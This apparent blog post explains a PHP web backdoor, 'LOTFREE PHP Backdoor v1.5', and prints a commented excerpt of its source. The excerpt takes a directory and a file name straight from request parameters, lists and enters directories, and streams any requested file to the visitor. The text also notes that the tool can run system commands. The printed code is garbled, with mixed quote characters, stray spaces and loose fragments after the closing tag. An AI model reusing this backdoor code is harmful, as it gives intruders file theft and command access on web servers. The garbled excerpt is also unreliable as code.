Explaining PHP backdoor files

PHP Backdoor Version 1.5 is a PHP backdoor program written by sirius_black / LOTFREE TEAM. Here is a simple analysis of it, and it can also be used as a note for learning PHP. The execution of the backdoor program depends on the installation of the web server. With the user's permissions when using php, if you are an administrator, you can execute various operating system commands.

The following is a note on a backdoor

function good_link($link)
{
$link=ereg_replace (“/+”,”/”,$link);
$link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
$link= ereg_replace(“/+”,”/”,$link);
if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link, 2);
if($link==”")$link=”.”;
return $link;
}
//$_REQUEST is used to obtain the data submitted to this file
$dir= isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; //If dir is not defined, dir takes the default value "."
$dir=good_link($dir);
 $rep=opendir($dir); //Open the path handle specified by dir
chdir($dir); //Switch to the directory specified by dir
if(isset($_REQUEST["down"]) &&$_REQUEST ["down"]!="") //If down is defined
{
header("Content-Type: application/octet-stream");
header("Content-Length: ".filesize($ _REQUEST["down"]));
header(“Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
readfile($_REQUEST["down"]); / /Read the file into the buffer
exit();
}
?>


LOTFREE PHP Backdoor v1.5, yeetrack. com



echo "The current absolute path is: ".getcwd()."n"; //Get the current absolute path
echo "dir = '$dir'n";<br>